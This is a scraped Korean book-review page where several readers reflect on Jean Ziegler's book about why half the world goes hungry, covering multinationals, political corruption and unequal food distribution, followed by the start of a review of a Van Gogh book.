    그 중에서도 칠레 아옌데 민주정부가 분유 무상 배급 공약을 했다가 세계적 다국적 기업인 스위스 네슬레 회사에 의해 무너진 이야기나, 서아프리카 소국 부르키나파소의 청년 혁명가 상카라가 38세라는 젊은 나이에 프랑스의 견제로 사망하였다는 내용은 가히 충격 그 자체였다. 우리가 알 수 없는 거대한 검은 손이 이 세계를 옥죄고 있는 것 같았다.

    이러한 기아의 다양한 원인들 중에서 가장 근본적인 원인은 사회구조에 있다. 사회구조라는 것을 세계로 확대해보면 금융자본주의가 득세하는 ‘신자유주의’의 정치․경제 논리가 도사리고 있는 것이다.

    지은이는 지원을 받는 나라의 사회구조를 제대로 이해하지 못한 나머지 부패한 정부를 유지하는 수단으로 악용되는 전례를 막기 위해 인도적 지원의 효율화를 이루어야 하고, 단순한 물자를 원조하기 보다는 사회적인 구조개혁이 따라야 하며, 인프라를 정비하는 것이 기아를 줄일 수 있는 가장 급선무라고 한다.

    이러한 물적 지원 시스템의 정비와 더불어 우리가 잊지 말아야 할 것이 하나 있다. 그것은 기아에 대한 올바른 인식과 우리의 자세라고 할 것이다.

    “그렇다면 희망은 어디에 있는가? 희망은 서서히 변화하는 공공의식에 있다.……다른 사람의 아픔을 내 아픔으로 느낄 줄 아는 유일한 새명체인 인간의 의식 변화에 희망이 있다.(본서 제22쪽 내지 제23쪽 참조)”라는 지은이의 이야기가 오래도록 머리 속을 맴돌며 여운을 남기고 있다.

    2000년에 출간된 책임에도 불구하고 아직 우리 세계는 큰 변화의 흐름이 없는 것이 현실이다. 복잡한 국내 사정과 세계 정세에서 오늘도 기아에 허덕이는 어린 생명들의 불씨는 바람 앞에 촛불처럼 흔들리고 있다. 더 늦기 전에 전 세계인들의 공감대가 형성되어야 할 것이다.

    얼마 전 미국의 전 부통령인 엘 고어가 아카데미 시상식에서 지구온난화에 관한 다큐멘터리인 '불편한 진실'로 이제껏 알려지지 않았던 많은 것들을 사람들에게 알리고 그 심각성을 경고한 바 있는데, 이 책도 마찬가지가 아닐까. 불편한 진실이지만 우리의 희망이 필요한 것이다. 책을 덮고서도 마음 한 구석에 남아 있는 울림은 많은 것을 생각하게 하는 뜻깊은 책이었다

    리뷰줄이기
  • 인간이란 존재를 다시 생각하게 하는 책.
    sali2000 | 2007년 04월 18일
    두달에 한번씩 음식물 쓰레기 수거비라는 것을 낸다. 말 그대로 음식물 쓰레기를 수거해가는데 드는 비용을 내는것이다. 그런게 그 음식물 쓰레기가 그냥 쓰레기가 아니다. 음식조리중의 나오는 부스러기가 아니라 명백히 먹을수있는 음식들이 다수를 차지하고 있다. 이렇게 한쪽에선 먹고도 남는 쓰레기가 넘치는 반면에 어느 한쪽에선 쌀 한톨도 먹을것이 없어서 굵어죽는 사람이 산을 이룰정도로 많다. 이 어찌 아이러니한 상황이 아니겠는가. 남아서 버리는 그 음식만 해도 굵어죽는 사람들에게 주어진다면 죽음에서 구할수...
    더 보기
    두달에 한번씩 음식물 쓰레기 수거비라는 것을 낸다.
    말 그대로 음식물 쓰레기를 수거해가는데 드는 비용을 내는것이다.
    그런게 그 음식물 쓰레기가 그냥 쓰레기가 아니다.
    음식조리중의 나오는 부스러기가 아니라 명백히 먹을수있는 음식들이 다수를 차지하고 있다.

    이렇게 한쪽에선 먹고도 남는 쓰레기가 넘치는 반면에
    어느 한쪽에선 쌀 한톨도 먹을것이 없어서 굵어죽는 사람이 산을 이룰정도로 많다.
    이 어찌 아이러니한 상황이 아니겠는가.
    남아서 버리는 그 음식만 해도 굵어죽는 사람들에게 주어진다면 죽음에서 구할수있을껀데 그러질 못하고 있는
    상황인것이다.

    이 책은 그런 어이없는 지구의 상황을 가감없이 적나라하게 우리에게 알려주고 있는 보배로운 책이다.
    지금 지구의 인구는 대략 60억 정도가 된다고 한다.
    그런데 이 인구가 생산해내는 식량은 그 두배인 120억을
    먹일수있는 분량이라고 한다.
    하지만 그렇게 많이 생산하는데도 불구하고 그 자원의
    분배가 잘 이루어지지 않아서 세계 인구의 7분의 1인
    8억 5천만명이상이 기아에 허덕이고 있다.
    도대체 상식적으로 이해가 가지 않는 일이다.

    대체 왜 이런 일이 일어나는것인가.
    이책은 그런 물음에 충실히 답변해주고 있다.
    어떻게 보면 너무 적나라하고 너무 절망적이라서 차라리
    외면해버리고 싶은 마음까지 들 정도이다.
    그런 상황이 한두가지 이유로 그렇게 된것이 아니라 여러
    가지 복합적인 요인에 의해서 어디서 어떻게 손쓸수있을지 암담한 생각도 들었다.

    어떻게 보면 지금 세계의 기아문제는 인간이라는 존재가
    나타낼수있는 가장 추악한 면모가 어김없이 드러난 것이라고 할수있다.
    탐욕과 무지, 그리고 포악한 인간의 모습말이다.
    더 많은 이윤을 남기기 위해 죽어가는 사람들의 상황따윈 아랑곳않는 거대 다국적 기업들, 그리고 구호물품마져 자신들의 호주머니에 채워넣는 지배층들, 그리고 자국의 이해에 따라서 가난한 나라의 정부를 마음대로 할려는
    미국이나 프랑스같은 부자 나라의 횡포 등에서 인간이란 존재가 나타낼수 있는 모든 추악한 것들을 볼수가 있는것이다.

    물론 기아란것이 인간의 손을 떠나서 자연적인 이유로 생기는것들도 있다. 수년간의 가뭄이나 홍수, 냉해 같은 것들 말이다.
    하지만 그것들은 인간의 힘으로 극복할수도 있는거고 또 그런 피해를 입더라도 이미 생산해놓은 것으로 어떻게든 살릴수가 있을것이다.

    그러나 인간의 탐욕과 어리석음으로 인해 인위적으로 기아를 방치,방조하는것은 그 누가 손을 쓸수가 있겠는가.
    가진 자들이 못가진 자들을 더욱더 목을 죄는 형국이 아닐까.

    이 책은 어찌보면 냉정하리만큼 현실을 드러내보이고 있다. 세계식량기구나 적십자 같은 구호단체들도 결국 한계가 있다는 지은이의 말에선 힘이 빠지면서 대체 어디서 희망을 가져야할것인가 하는 생각도 들었다.

    하지만 희망이 아주 없는건 아니었다.
    비록 실패로 돌아갔지만 부르키나파소의 개혁이 그 좋은 본보기가 될것이다.
    아무도 주목하지 않았던 그곳에서 그들은 개혁을 통해서 결국 성공을 이루어내었던것이다.
    지금 당장은 그런 실험이 확산되긴 어렵겠지만 어쨌던 한가지 희망의 불씨를 우린 가지고 있는것일런지도 모른다.

    지은이는 유엔 식량 특별 조사관이란 위치에 있었기 때문에 그 누구보다 정확하고 실제적인 이야기를 썼다.
    어찌보면 전문적인 이야기 같지만 아이한테 설명해주는 형식을 취하면서 누구나 읽기 쉽게 잘 쓰여졌다.
    꼭 어른이 아니라도 어린 아이부터 읽혀져야할 필요성이
    있는 책이란 생각이 들었다.

    한쪽에선 너무 많이 먹어서 죽고, 또 한쪽에선 하나도 못먹어서 죽고...인간이란 존재는 무엇인지, 인간의 욕심과 이기심은 대체 어디까지인지 그런것들을 다시금 생각하게 하는 좋은 책이었다.










    리뷰줄이기
  • 기아의 진실
    푸른샘 | 2007년 04월 22일
    책을 읽기전 까지는 막연히 굶주려가는 어린이들을 보면서 한끼 덜 먹고 그들에게  조금이라도 정성을 보낸다면 조금은 나아 지리라는 아주 초보적인 생각, 낭만적인 생각을 했건만...  그 굶주림 뒤에 어떤사람들이, 나라가 부당한  이득을 보고있다는것,지금 이순간에도 120억의 인구가 먹고도 남을만큼의 식량이 생산되고 있다는데 왜 하루에 10만명이, 5초에 한명의 어린이가 굶주림으로 죽어가고 있는지를,기아의 진실을 알게되니 너무 끔찍할뿐이다.세계의 절반이 굶주려야 한다는 비정한 현실, 돈과 이윤이 계...
    더 보기
    책을 읽기전 까지는
    막연히 굶주려가는 어린이들을 보면서 한끼 덜 먹고 그들에게  조금이라도 정성을 보낸다면 조금은 나아 지리라는 아주 초보적인 생각, 낭만적인 생각을 했건만... 

    그 굶주림 뒤에 어떤사람들이,
    나라가 부당한  이득을 보고있다는것,
    지금 이순간에도 120억의 인구가 먹고도 남을만큼의 식량이 생산되고 있다는데 왜 하루에 10만명이, 5초에 한명의 어린이가 굶주림으로 죽어가고 있는지를,기아의 진실을 알게되니 너무 끔찍할뿐이다.
    세계의 절반이 굶주려야 한다는 비정한 현실, 돈과 이윤이 계산되는 ,약육강식의 시장 자본주의,테러등 모든행위가 이익을 계산하며 활용한다니 새삼 인간의 생사를 가르는 여건들이 정치,권력등과 벗어날수 없음에 무력감이 느껴진다.
    지구촌에 함께 살아가면서 배고픔이 사라지지않는다면 가장 기본인 인간권리를 어떻게 이야기 할수 있을까..흐망이 없다.
    진정한 평화와 자유도 배고픔속에는 아무런 의미가 없을것이다..

    교보,모닝365 올립니다 푸른샘




    리뷰줄이기
  • 세계의 굶주리는 아이들
    사과 | 2007년 07월 16일
    며칠전, 학교에서 100원의 기적으로 저금통을 나누어 주어 돈을 모으는 행사가 시작되었다. 며칠이 지났는데 나는 아직도 저금통에 1000원밖에 채우지를 못했다. 거의 바닥을 드러내는 것이다. 다른 나라에서는 100원에 밥 한끼를 얻을 수 있다고 한다. 또 어떤 나라에서는 100원으로 바나나 20개까지도 살 수 있다고 한다. 우리 학교는 약 3000명이 가까운데, 그들 모두가 100원씩만 낸다고 해도 30만원. 이 30만원이면 300000÷300=1000. 바로 한사람이 약 3년동안 먹을 수 있는 식사가 된다는 것이다. 그런데 각각 기본 100원은 낼테니...
    더 보기
    며칠전, 학교에서 100원의 기적으로 저금통을 나누어 주어 돈을 모으는 행사가 시작되었다. 며칠이 지났는데 나는 아직도 저금통에 1000원밖에 채우지를 못했다. 거의 바닥을 드러내는 것이다. 다른 나라에서는 100원에 밥 한끼를 얻을 수 있다고 한다. 또 어떤 나라에서는 100원으로 바나나 20개까지도 살 수 있다고 한다. 우리 학교는 약 3000명이 가까운데, 그들 모두가 100원씩만 낸다고 해도 30만원. 이 30만원이면 300000÷300=1000. 바로 한사람이 약 3년동안 먹을 수 있는 식사가 된다는 것이다. 그런데 각각 기본 100원은 낼테니 훨씬더 많은 돈이 모이게 되므로 세계가 먹고 살 수 있는 것이다. 학교에서 세계의 많은 기아들이 굶주리며 고통스럽게 죽어간다고 TV로 보여주었었다. 마침 기아에 대해 큰 궁금증이 생겼던 나에게는 정말 큰 행운이 찾아온 것이다. 아들과 아버지의 대화방식으로 책 내용은 전개된다. 맨 먼저 나오는 내용은 아들이 아버지에게 라틴아메리카의 굶어죽는 사람에 대해 질문하면서부터 시작된다. 세계는 과연 얼마나 먹여살릴 수 있는 식량이 있을까? 대부분의 사람이 세계에서 많은 사람이 굶주리는 까닭을 식량이 부족하기 때문이라고 말하기도 한다. 그러나 이 말은 절대로 진실이 아니다. 왜냐하면 전세계적으로 식량을 모아보자면 총 120억 인구를 모두 먹어살릴 수 있다는 것이다. 지금보다 2배가 넘는 인구를 말이다. 그런데 어째서 오히려 세계 절반이 굶는 것일까? 그 까닭은 빈부차이 때문이라고도 할 수 있다. 예전 유럽이 아프리카같은 나라를 식민지로 삼기 전까지는 모든 나라가 식량이 풍요로워 잘먹고 잘 살수가 있었다. 그런데 유럽이 아프리카에서 한 농작물만 집중적으로 재배하게 하고, 해방되고부터도 이 방식이 유지되 국산에서 생산한 것은 전부다 수출하고 대부분을 수입에 의존하는 것이다. 이것은 자국민에게는 전혀 이익이 되지 않고 관료의 탐욕만 채우는데 쓰인다. 이 수출품들은 전부 유럽에만 팔리고, 이제 국민들은 먹을 것이 없어 서서히 굶어죽어가는 것이다. 환경난민이란? 환경난민은, 지금 현재 진행되는 사막화로 인해 살 곳이 없어진 사람들이 도시로 몰려든 사람들이다. 그래도 이들은 정치난민같은 사람들보다는 상태가 훨신 낫다. 그들은 그나마 짐꾼과 과일상등의 직업으로 식구들이 그나마 먹고살수는 있지만 다른 나라에서는 그나마 먹을 것도 없어 굶어죽는 것이다. 세계의 기아들은 어떻게 음식을 얻는가? 그들은 아예 음식을 구하지 못하거나 부유한 집에서 먹다 버린 기생충이 쫙 깔린 음식을 먹기도 한다. 또한 가벼운 장사를 하거나 도둑질 또는 매춘을 한다. 지금 세계가 이렇게 고통받는 것이다. 기생충이 있는 음식을 먹고 그들은 더욱더 건강에 손상을 입게 되고, 결국에는 부질없는 목숨을 이어가다가 죽게 된다. 우리가 지금 배부르게 음식을 먹고 남긴 것이 기아들에게는 목숨을 이어갈 마지막 희망이다. 사람들은 왜 그들을 도울 수 없지? 이미 UN과 같은 많은 단체에서 못사는 나라를 돕기 위해 물자를 운송하는 둥 많은 노력을 기울인다. 그러나 정치적으로 썩은 부패한 관리들이 그들로부터 자신의 권력이 중지될까봐 그들의 도움을 막아버린다. 실제로 소말리에서는 각 군벌이라는 것이 있는데, 그 군벌은 서로 세력을 차지하기 위해 끊임없이 싸운다. 그들은 들어오는 배마다 전부 약탈하기 때문에 죽을까봐 들어가지도 못하고 어떻게 해야할지 몰라 고민만 하는 심정이다. 만약 그들을 돕지 않는 나라를 욕한다면, 그들의 사정을 먼저 생각해보라. 어째서 세계가 굶주리는지, 어째서 그들을 도울 수 없는지 모든게 이해가 된다. 단지 글뿐이라도 글 하나하나에서 기아들의 굶주린 울음소리가 울려퍼지는 것 같다. 나는 생각한다. 왜 사람들은 자신의 이익만 생각하여 사람들을 굶주리게 만드는 것일까? 왜 사람의 목숨을 파리처럼 여기는 것일까? 자신도 사람인데 말이다. 우리도 길거리에서 사먹는 맛있는 군것질거리를 참고 저금통에다 모아보자. 그렇게 모은 돈은 어느새 만원을 넘길수도 있을 것이다. 그럼 그 돈으로 맛있는 것이나 사먹어야 할까? 본인이 꼭 그렇게 해야 된다면 어쩔 수 없다. 단지 그 전에 세계의 고통받는 아이들을 생각해 보고 그들을 위해 돈을 써볼 생각을 해보라는 것이다. 세계의 모든 사람이 배불리 먹고사는 세상이 빨리 올 수 있게 된다면 좋겠다.
    리뷰줄이기
  • 정지,경제적의 암투로 인한 세계적 기아현상
    Haeundae | 2007년 08월 21일
    직장에서의 바쁜 일 때문에 한동안 독서를 하지 못하고 이제서야 3개월 전의 서평을 올립니다. 바쁜 생활에 적응하고 나서 독서를 본격적으로 시작해 볼까 합니다. 늦어서 죄송합니다. ^^ 세계인구 1/7은 만성적 영양실조 상태라는 보고서는 정말 충격적이 아닐 수 없다. 그러나 이런 세계 기아현상은 식료품을 다루는 다국적기업과 그 나라의 정치적 암투라는 어처구니 없는 배경이 있다는 것을 알고 부터는 놀라움을 금치 못했다.  이 책은 지은이 쟝지글러가 국제식량기구에서 일하면서 느낀 점을 아들과 대화하는...
    더 보기
    직장에서의 바쁜 일 때문에 한동안 독서를 하지 못하고 이제서야 3개월 전의 서평을 올립니다. 바쁜 생활에 적응하고 나서 독서를 본격적으로 시작해 볼까 합니다. 늦어서 죄송합니다. ^^


     세계인구 1/7은 만성적 영양실조 상태라는 보고서는 정말 충격적이 아닐 수 없다. 그러나 이런 세계 기아현상은 식료품을 다루는 다국적기업과 그 나라의 정치적 암투라는 어처구니 없는 배경이 있다는 것을 알고 부터는 놀라움을 금치 못했다.
     이 책은 지은이 쟝지글러가 국제식량기구에서 일하면서 느낀 점을 아들과 대화하는 형식으로 썼다. 해마다 늘어가는 굶어 죽는 사람들, 특히 아이들에 대한 연민을 담은 이 책은 같은 지구에서 살아가는 사람으로서 후진국 사람들에 대한 따뜻한 관심을 욕구하고 시사하는 바가 크다.
    유엔식량농업기구(FAO)가 집계한 기아로 인한 희생자는 2005년 기준으로 10세 미만의 아동이 5초에 1명씩 굶어 죽어가고 있으며, 비타민 A부족으로 시력을 상실하는 사람이 1/3명이다. 그리고 세계인구의 1/7에 이르는 8억5천만명이 심각한 만성적 영양실조 상태에 있다. 기아에 희생당하는 사람들이 2000년 이후 1200만명이나 증가한 것이다. 아프리카에서는 현재 전 인구의 36%가 굶주림에 무방비 상태로 놓여있다.
     책을 통해 충격적인 사실을 너무 많이 알게 됐다. 스위스 네슬레가 칠레에서 한 일, 세네갈의 사례, 아프가니스탄의 사례... 이것은 국제기구의 도움으로도 자국민 자체의 결의만으로도 해결되지 않는 교착상태에 빠져 있다.
     각 나라의 사례에서 나온 비극적인 상황을 통해서 생과 사를 오가는 수많은 어린아이들의 운명이 이렇게 쉽게 좌지우지 될 수 있다는 사실을 우리가 쉽게 좌시해서는 안된다는 것이다.
    지금 현재 지구상에서 곡물이 부족해서 누군가는 굶어죽는 것은 있을 수 없는 일이다. 실제로 미국이 생산할 수 있는 곡물 잠재량만으로도 전 세계 사람들이 먹고 살 수 있고, 프랑스의 곡물생산으로 유럽 전체가 먹고 살 수 있다. 전 세계적으로 식량은 넘쳐나는데, 수많은 아이들이 굶어 죽어가고 있다는 사실은 무엇을 말하는가? 쟝지글러가 지적하고 싶어 하는 부분은 바로 이것이다. 바로 식량가격을 결정하는 선진국의 정치권력과 경제권력의 끝 모를 암투가 어린 생명들을 위협하고 있는 것이다.그런 정치적 경제적 암투의 이기적인 권력다툼의 사슬이 끊어 지지 않거나 인간 본성의 회복이 이루어지지 않는 이상 지구상의 어린 생명들의 절규는 멈추지 않을 것이다.
    리뷰줄이기
  • 왜 세계의 절반은 굶주리는가?
    등나무꽃 | 2007년 08월 26일
        잘 사는 나라들은 점점 더 돈이 많아져서 부강해 지는데 세계 많은 사람들이 굶주리고 있다. 왜그럴까? 나 역시 궁굼했었다. 이 책을 통해 명확해 졌다.   첫째, 서구의 아흔 아홉 마리 양을 가진 부자 나라들이 단 한 마리 양을 가지고 있을 뿐인, 그 한 마리 양으로 만족하고 사는 아프리카와 아시아 국가들의 것을 빼앗으려하고, 빼앗아 갔기 때문이다.   둘째, 서구에서 필요한 에너지와 물품을 얻기 위해 그 나라 내의 로봇을 만들어 그 나라 정부까지도 조정하기 때문이다.   셋째, 부족간의 ...
    더 보기
     

      잘 사는 나라들은 점점 더 돈이 많아져서 부강해 지는데 세계 많은 사람들이 굶주리고 있다. 왜그럴까? 나 역시 궁굼했었다. 이 책을 통해 명확해 졌다.


      첫째, 서구의 아흔 아홉 마리 양을 가진 부자 나라들이 단 한 마리 양을 가지고 있을 뿐인, 그 한 마리 양으로 만족하고 사는 아프리카와 아시아 국가들의 것을 빼앗으려하고, 빼앗아 갔기 때문이다.


      둘째, 서구에서 필요한 에너지와 물품을 얻기 위해 그 나라 내의 로봇을 만들어 그 나라 정부까지도 조정하기 때문이다.


      셋째, 부족간의 내전에 의해 부족장들은 한없는 부를 얻고, 농민과 생산자들은 끝없는 부채에 시달리게 되기 때문이다.


      넷째, 다국적 기업들이 국가의 힘을 등에 업고 더 큰 이윤을 얻기 위해 개발도상국의 기업이 자라나지 못하도록 막고 있기 때문이다.


      다섯째, 많은 NGO 단체들이 단 한명의 생명이라도 살리기 위해, 가난한 나라들이 그들이 가진 자원을 사용할 수 있도록 기초를 다져주기 위해 노력하지만 서구의 압력과 부족간의 싸움에서 우위를 차지하기 위한 세력에 의해 제대로 된 활동을 못하기 때문이기도 하다.


      그 외에도 많은 이유가 있지만 크게 이 정도로 볼 수 있을듯하다.


      많은 선한 뜻을 가진 단체들에 기금부족도 한 원인이 될 수 있기도 하다. 이 책을 보면서 참 많은 것이 명확해 짐을 느낀다. 어렴풋이 그럴 것이다 로 생각하고 있었는데 활동가에 의해 쓰여진 책을 보고 명확해 진다.


      이 책을 다 읽고 덮기 전 생각한다. “그렇다면 내가 할 수 있는 일은 무엇인가?” 이 의문점을 가지며 이 책을 덮었다. 많은 숙제를 내게 안겨준 책이었다.



    리뷰줄이기
  • 굶주림이란 인해(人害)
    라주미힌 | 2007년 08월 27일
    1분에 250명의 아기가 이 지구상에 새로이 태어나는데, 그 중 197명이 이른바 제3세계라 불리는 122개 나라에서 태어난단다. 그리고 그들 중 많은 수가 ‘이름도 없는 작은 이들의 묘’에 묻히는 운명을 맞는 거야. 레지 드브레는 이들을 가리켜 “나면서부터 십자가에 못 박힌 아이들”이라고 표현했어. 66p “어린이 무덤”은 가장 약한 사람들에게 가해진 구조적 폭력을 상징한다. 16p 나는 대형할인마트에 가는 것을 좋아한다(?). 풍요로움으로 가득한 이 세상이 빈곤마저도 넘치게 하는구나라는 묘한 아이러니를 한껏 느낄 수 있기...
    더 보기
    1분에 250명의 아기가 이 지구상에 새로이 태어나는데, 그 중 197명이 이른바 제3세계라 불리는 122개 나라에서 태어난단다. 그리고 그들 중 많은 수가 ‘이름도 없는 작은 이들의 묘’에 묻히는 운명을 맞는 거야.
    레지 드브레는 이들을 가리켜 “나면서부터 십자가에 못 박힌 아이들”이라고 표현했어. 66p



    “어린이 무덤”은 가장 약한 사람들에게 가해진 구조적 폭력을 상징한다. 16p


    나는 대형할인마트에 가는 것을 좋아한다(?). 풍요로움으로 가득한 이 세상이 빈곤마저도 넘치게 하는구나라는 묘한 아이러니를 한껏 느낄 수 있기 때문이다. 상품 진열대의 빈곳을 찾아 볼 수 없을 정도로 빽빽한 풍요. 세계 곳곳에서 뼈만 앙상하게 남아 파리를 쫓아낼 힘도 없어, 아직 살아있다라는 것을 눈깜빡임으로 알리는 아이들은 이런 ‘흔한 세계’를 알고 있을까. 태어나자 마자 지구 최악의 고통만을 간직한 체 짧은 생을 마감하는 아이들은 어떤 기억을 남기고 자연으로 돌아갈까.

    멜서스는 인구는 기하급수적으로 증가하는데, 식량은 산술급수적으로 증가함으로써 식량부족은 필연적이고, 빈곤과 죄악은 막을 수 없다라고 주장하였다.
    그의 주장은 틀렸지만 맞았다. 인구가 증가하였지만, 식량생산 기술의 발달로 인하여 전 세계인구가 먹고도 남을 식량을 생산하게 되었으니 그의 주장은 틀렸다. 하지만 세계의 절반은 굶주리고 있으니 그의 주장이 그다지 틀린 것도 아니다.


    장자크 루소-사회계약론 “약자와 강자 사이에서는 자유가 억압이며 법이 해방이다”


    빈곤, 가난, 기아의 원인을 따지자면 (경제적으로 볼 때, 자연적인 영향으로)공급의 부족, 수요의 증가에 있기도 하지만, (구조적으로 볼 때, 정치적인 영향으로)불균형적이고 기형적인 자원의 배분이 더 큰 원인을 제공한다. 이 책은 두 가지를 모두 다루고 있지만, 후자에 더 역점을 두고 있다. 바로 글로벌 자본, 신자주유의 비인간성을 말하려 한다. 정치적 부패, 사회적 차별, 전쟁에 쓰여질 에너지는 있어도 가난한 자에게는 돌아갈 빛이 없고, 소에게 먹일 ‘사료’는 있어도 인간이 먹을 수 있는 ‘식량’은 모자라다는 것이다. 식량을 구입할 수 있는 자에게 스테이크를, 그렇지 못하는 자에게는 아사를 선사하는 끔찍한 세계가, ‘우주의 창백한 푸른 점’ 지구에서 벌어지고 있다. 이러한 구조적인 모순을 바로 이해하고 서로가 고민하여 변화와 행동과 희망을 만들어내려 한다. 그런 점에 있어서 인류에게 고하는 전지구적 메시지를 담아 낸 것이 이 책의 가치인 셈이다.



    막스 베버는 “부란 일하는 사람들이 산출한 가치가 이어진 것이다”라고 말했다. 하지만 이런 말은 오늘날 더 이상 통하지 않는다. 오늘날 부, 즉 경제력은 다혈질적인 투기꾼들이 벌이는 카지노 게임의 산물이다. 161p



    무릇 사람들은 신자유주의가 대세라고 말한다. 미국의 경제가 세계의 경제가 되고, FRB같은 기관의 영향은 세계 경제를 쥐락펴락한다. FRB는 누구의 소유인가? jp모건, 골드만삭스 등이 장악하고 있지 않은가. 그들은 투기자본이다. 그들에게 우리의 삶을 맡긴 체, 세계화 된 경제 성장만이 우리를 빈곤으로부터 벗어날 수 있게 한다고 말한다. 하지만 통계적으로 볼 때 경제 성장의 혜택은 아주 극소수에게만 돌아가고 있다는 것을 알고 있다. 알면서도 그것을 믿고 싶어하는 망상은 어디서 비롯되고 있을까. 지금은 비록 다수에 포함되어 있지만, 언젠가는 극소수에 오르려는 욕망일까.

    인간의 굶주림에 관망하는 것도, 무관심
    리뷰줄이기
  • 왜 세게의 절반은 굶주리는가?
    treasure | 2007년 11월 23일
        아침에 일어나 습관처럼 물 한잔을 마시고 요구르트를 마셨다. 빈 속에 들어가는 액체의 느낌은 묘하다. 뭔가 내 안에서 출렁대는 느낌. 텔레비전을 보고 있는 엄마 옆에 앉아 무심코 텔레비전을 들여다 봤다. 텔레비전에선 한 가수가 다이어트를 하겠다며 병원에 가서 건강을 체크하고 있었다. 폭식으로 인한 복부비만의 위험수치, 그 가수는 그런 판단을 받았고 다이어트를 시작하겠다고 결심하고 있었다. 어제 마침 이 책의 앞 부분에 수록된 해제와 서문만을 읽은 터였다. 그 가수의 말을 한 귀로 흘려들으며 다시...
    더 보기
        아침에 일어나 습관처럼 물 한잔을 마시고 요구르트를 마셨다. 빈 속에 들어가는 액체의 느낌은 묘하다. 뭔가 내 안에서 출렁대는 느낌. 텔레비전을 보고 있는 엄마 옆에 앉아 무심코 텔레비전을 들여다 봤다. 텔레비전에선 한 가수가 다이어트를 하겠다며 병원에 가서 건강을 체크하고 있었다. 폭식으로 인한 복부비만의 위험수치, 그 가수는 그런 판단을 받았고 다이어트를 시작하겠다고 결심하고 있었다. 어제 마침 이 책의 앞 부분에 수록된 해제와 서문만을 읽은 터였다. 그 가수의 말을 한 귀로 흘려들으며 다시 방으로 들어가 이불 속으로 파고 들었다. 갑자기 쌀쌀해진 날씨가 버거운 탓이었다. 이불 속으로 파고 들어가 어제 밤에 먹던 스낵에 손을 뻗으며 다시 이 책을 펼쳤다.

     


         초등학교 시절, '소말리아'의 참상을 처음 들었던 것 같다. '소말리아'의 아이들은 삐쩍 마른 몸에 맞지 않게 배가 유독 튀어 나와 있었으며 머리는 불균형하게 컸다. 아이들은 그 큰 머리와 튀어 나온 배를 흔들며 그 연약한 팔 다리로 걸었고, 그나마 힘이 없는 아이들은 말 그대로 손가락 하나 까딱 할 힘도 없어보였다. 파리는 아이들 주변을 붕붕거렸고 그 누구도 그 파리를 향해 귀찮다는 손짓도 하지 않았다. 그 화면을 보며 그 아이들을 불쌍하게 여겼는지 아닌지는 모르겠다. 사실 우리와는 너무도 동떨어진 이야기 였으니까. 그저 누군가 만들어 낸 텔레비전 쇼같이 생각했을지도 모르겠다. 그리고 선생님은 그 화면을 보여주며 세상엔 이렇게 굶어죽는 아이들이 많은데 우리는 행복한 사람들이니 밥을 남기면 안된다고 했다. 왠지 밥을 남기지 못하게 하려는 선생님들의 지도방편으로 보이기까지 했으니, 그 후로 아이들의 기억에서 소말리아란 기아가 극성을 부리는 구제받아야 할 나라가 아니라 누군가를 놀리는 소재가 되는 나라였다. 기아가 지금 지구가 극복해야 할 가장 시급한 문제라 하면서도 우리는 이렇게 기아에 무지했다.


     


         실제로 그렇지 않은가. 모든 것은 자신이 경험해 보지 않으면 그 실체를 알 수 없기 마련. 기아를 경험해 보지 못한 사람들이 어떻게 이 책 달랑 한 권으로 기아에 대해 인식한단 말인가. 분명히 이 책은 먹고 살만하고, 집에선 음식물 쓰레기가 심심치 않게 방출되는 사람들에게 읽힐 터이고, 그 사람들은 나처럼 집에서 스낵을 집어 먹으며 이 책을 읽게 될 것이다. 그리고 이렇게 말하겠지, "아, 기아가 정말 심각하구나."


         하지만 알고는 있어야 한다. 그것도 사실 그대로 알고 있어야 한다. 왜 우리는 이렇게 먹을 것이 풍성한 곳에서 살아가는데 지구 어딘가에서는 10초에 한명 꼴로 아이들이 굶어 죽어가고 있는지, 이 모순된 삶의 정체를 알아야 한다. 이 삶의 정체를 안다해서 우리가 우리 옆에 쌓여있는 음식들을 외면하지는 않겠지만, 그 음식들을 박스에 담으며 너희는 아프리카로 가 누군가를 살리거라,라고 하지는 않겠지만 그래도 적어도 진실을 깨닫고 있어야 한다. 이것은 우리가 살고 있는 지구에서 일어나는 일이기 때문에. 그리고 이렇게 우리들이 이기주의적인 삶을 살다가는 곧 우리도 굶주림에 허덕이게 될지도 모르기 때문에.


        


         이 책을 쓴 장 지글러는 교수이며 기아의 현장에서 활동하는 활동가이다. 그래서 조금 더 가까이 그리고 깊숙이서 기아의 진상을 파헤친다. 절대 어려운 인문서가 아니며 아들에게 이야기를 해 주는 방식으로 아주 쉽게 쓰여있다. 책은 금새 읽힌다. 하지만 책의 내용은 두고두고 기억할 필요가 있다. 이 세상이 얼마나 사리사욕에 물들어 있는지, 그리고 소수 몇%에 의해 지배되고 있는지. 그 지배층들의 피해자는 비단 굶주리고 있는 아이들 뿐만이 아니다, 우리 역시 그들의 희생자이고 그들의 마음먹기에 따라 언제 UN에게 구걸하게 될지는 아무도 모르는 일이다. 저자는 그들의 하극상을 파헤치며 세상에 알아달라고 말한다. 이 교수 역시 기아를 체험해 본 사람은 아니다. 하지만 기아를 체험하며 이런 글을 쓸 수는 없다. 누가 기아 속에서 비틀거리는 사람의 말을 들어주겠는가. 정말 이상한 얘기같지만, 한 그룹의 진실은 그 그룹의 밖에서 그 그룹을 연구한 사람에 입을 통해 전달된다. 이 책 역시 마찬가지다.


     


         너무나 많은 아이들이 기아에 의해 죽어가고 있고 기아에 의해 고통받고 있다. 그리고 그 기아는 때로는 정치적인 이유로 때론 경제적인 이유로 하나의 도구처럼 사용되고 있는 실정이다.
    리뷰줄이기

  • 고흐의 그림을 타인과 함께 만나기
    treasure | 2007년 12월 16일
      고흐를 만나다 / 시: 메릴린 챈들러 맥엔타이어, 글: 노경실 / 가치창조          언제였지? 고흐를 처음 만난 날이. 내겐 기억의 조각들로만 남아있는 그 날이 언제였는지 잘 생각이 나지 않는다. 어쨋든 꽤 어렸을 때였단 기억, 난 도대체 어디서 고흐를 본 걸까? 유럽에 갔을 때는 아니었던 것 같다. 그보다 훨씬 전, 고흐를 만났던 기억. 도대체 언제였을까?      가끔 연말 시상식을 보면서 혹시나 내가 누군가 앞에서 소감을 말할 때가 온다면 난 이렇게 말하지 않...
    더 보기

     


    고흐를 만나다 / 시: 메릴린 챈들러 맥엔타이어, 글: 노경실 / 가치창조


     


     


